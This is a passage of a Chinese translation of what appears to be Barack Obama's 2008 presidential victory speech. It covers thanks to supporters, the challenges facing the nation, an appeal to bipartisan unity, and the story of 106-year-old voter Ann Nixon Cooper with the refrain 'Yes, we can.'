经过那些拒绝承认他们是冷漠世代的迷思的年轻朋友加持,它成长茁壮,他们离开家,告别亲人,投入待遇菲薄,永远睡眠不足的工作。

 

经过那些年纪不算轻的朋友加持,它成长茁壮,他们冒着寒风酷暑,挨家挨户向完全陌生的民众敲门;经过数百万民众自发性的组织,证明这个民有、民治、民享的政府,在两百多年之后,没有从地球上消失,仍在成长茁壮。

 

这是你们的胜利。

 

我知道,你们这么做,不只是为了胜选。我也知道,你们这么做,不是为了我。

 

你们这么做,是因为你们了解,横在眼前的是千万斤的重担。因为即使我们今晚庆功,我们也明白,明天所要面临的是此生最大的挑战:两场战争,一个处于存亡之秋的地球,及百年仅见的金融危机。

 

即使我们今晚站在此地,我们也知道,为了我们,美国的勇士们正在伊拉克沙漠巡逻,在阿富汗山区出生入死。

 

许多父母,在子女进入梦乡后,仍辗转难眠,担心房贷、医疗账单该怎么付,或该怎么存,才够支应子女的大学教育费用。

 

新的能源要研发,新的工作机会要创造,新学校要建,不少威胁要对付,既有盟邦关系要修补。

 

未来的路仍遥,路上的坡仍陡峭,我们可能没办法在一年,或一任内抵达。但是,美国,我从来没有像今晚的我,对我们的使命必达,更充满希望。

 

我向各位许诺,我们会团结一心,一齐抵达目的地。

 

一开始,挫折和失误在所难免。有许多人不会同意我以总统身分所做的每一个决定或每一项政策。我们也知道政府无法解决所有问题。

 

但我永远会把我们面对的挑战坦白告诉各位。,尤其是在我们看法不同的时候。最重要的是,我会邀请各位加入重塑这个国家的工作,以美国两百廿一年来采用的唯一方法:一砖一瓦,胼手胝足。

 

廿一个月前发轫于隆冬的,不会就在这个秋夜结束。

 

我们追求的改变,不仅仅是这个胜利。这个胜利只是给我们机会实现我们追求的改变。我们若走回头路,改变便不会发生。

 

少了你,少了新的服务精神,少了新的牺牲精神,改变就不会发生。

 

所以,且让我们唤起新的爱国心、新的责任感,人人挽起衣袖,更加努力,照顾自己之外,更要彼此照顾。

 

我们不要忘记,如果这次金融危机给了我们任何教训,那就是在寻常百姓生活困顿下,华尔街也不可能独自繁荣昌盛。

 

在这个国度,不论兴衰,都是全国与共,全民一体。我们一定要抗拒诱惑,不再靠已毒害我国政治许久的党派之私、褊狭和幼稚。

 

我们不可忘记,第一个把共和党旗帜带进白宫的男士,正是来自本州岛。共和党的建党根基则是自立、个人自由及全国统一团结等价值观。

 

这些也是我们共享的价值观。虽然民主党今晚大胜,我们却始终谦冲自持,并决心弥合阻挠我们进步的裂缝。

 

正如林肯向一个远比今天更分歧的美国所说的,我们不是敌人,是朋友。激情或曾使选情紧绷,却不容它破坏我们之间感情的连结。

 

我要向那些我仍须努力争取支持的美国同胞说,或许今晚我没能赢得各位的选票,但是我听到诸位的声音,我需要你们协助,我也会是你们的总统。

 

对那些今晚在海外、从各地国会和宫殿观看美国选情的人士,在为世人遗忘的角落围绕着收音机的人们,我要说我们的故事各不相同,命运却是一体,美国新的领导就要出现了。

 

对那些想撕裂这个世界的人,我要说:我们会打垮你。对那些追求和平安全的人,我要说:我们支持你。而对那些怀疑美国这灯塔是否依然明亮的人,今晚我们再度证实,美国真正的国力不是来自船坚炮利、富甲天下,而是来自发乎我们理想、历久不衰的力量,这些理想是民主、自由、机会和坚持到底的希望。

 

这正是真正的美国精神:也就是美国能够改变。这个国家的结合可以更完善。我们已经成就的,让我们勇于企盼我们明天能够做到、也必须做到的。

 

这次大选有许多创举和故事足供世世代代传颂。而今晚浮现在我脑海的,是在亚特兰大投票的一位妇人。她和这次大选无数排队投票以表达心声的选民没什么差别,不同的只有一点,安.尼克松.库柏已高龄一百零六。

 

她出生于奴隶时代结束后那个世代;当时路上没有汽车,天上不见飞机;而她这样的人没有资格投票,原因有二:其一,她是女人,其二,她的肤色不对。

 

但就在今晚,我想到她在美国这百年人生的阅历:心伤和希望;挣扎和进步;那些人告诉我们我们不能的时候,和那些高举着美国人「是的,我们做得到」的信念奋勇向前的人。

 

身处女性声音受压制、希望被漠视的时代,她这一生亲眼看到女性站起来,表达心声,并争取到投票权。是的,我们做得到。

 

就在尘盆地带(指美国大草原的一部分,大致包括科罗拉多州东南部、堪萨斯州西南部、德州与俄克拉何马州锅柄形突出地带)陷入绝望,大萧条席卷美国全境之际,她目睹一个国家以新政、新的工作机会、新的和衷共济精神克服了恐惧本身。是的,我们做得到。

 

当炸弹落在我们的港口,暴政威胁世界之际,她亲眼看见一个世代巍然挺身而起,拯救了一个民主体制。是的,我们做得到。

 

在蒙哥马利市(黑人)搭巴士抗争,伯明翰市的水龙(警察以强力水龙对付抗议者),赛尔玛城外的桥上(遭警察血腥镇压),来自亚特兰大的一位牧师告诉一个民族「我们终必得胜」时,她都在场。是的,我们做得到。

 

一个人登上了月球,柏林一道墙倒了,一个世界被我们自己的科学和想象连结了起来。

 

而今年,在这次选举中,她用手指触碰屏幕,投下她的一票,因为在美国生活了一百零六年,尝遍酸甜苦辣之后,她知道美国能够有什么样的改变。是的,我们做得到。

 

美国,我们已经走了这么远。阅历了这么多。眼前却还有这么多事要做。所以,今晚让我们扪心自问,如果我们的子女能够活到下个世纪;如果我女儿有幸如安.尼克松.库柏般长寿,他们能看到什么改变?我们又促成了什么样的进步?

 

此际正是我们回应那个召唤的机会,这是我们的时刻。

 

就在此刻,我们大家要重新开始工作,为我们的孩子开启希望之门;迎回繁荣并推展和平大业;重新拥抱美国梦并再次确立那基本的真理,也就是我们同舟一命,只要活着就怀抱希望。当旁人嘲讽、怀疑我们,告诉我们我们办不到时,我们会回以那历久不衰、总结一个民族精神的信念:是的,我们做得到。

 

谢谢大家。愿上帝祝福你,求上帝祝福美国。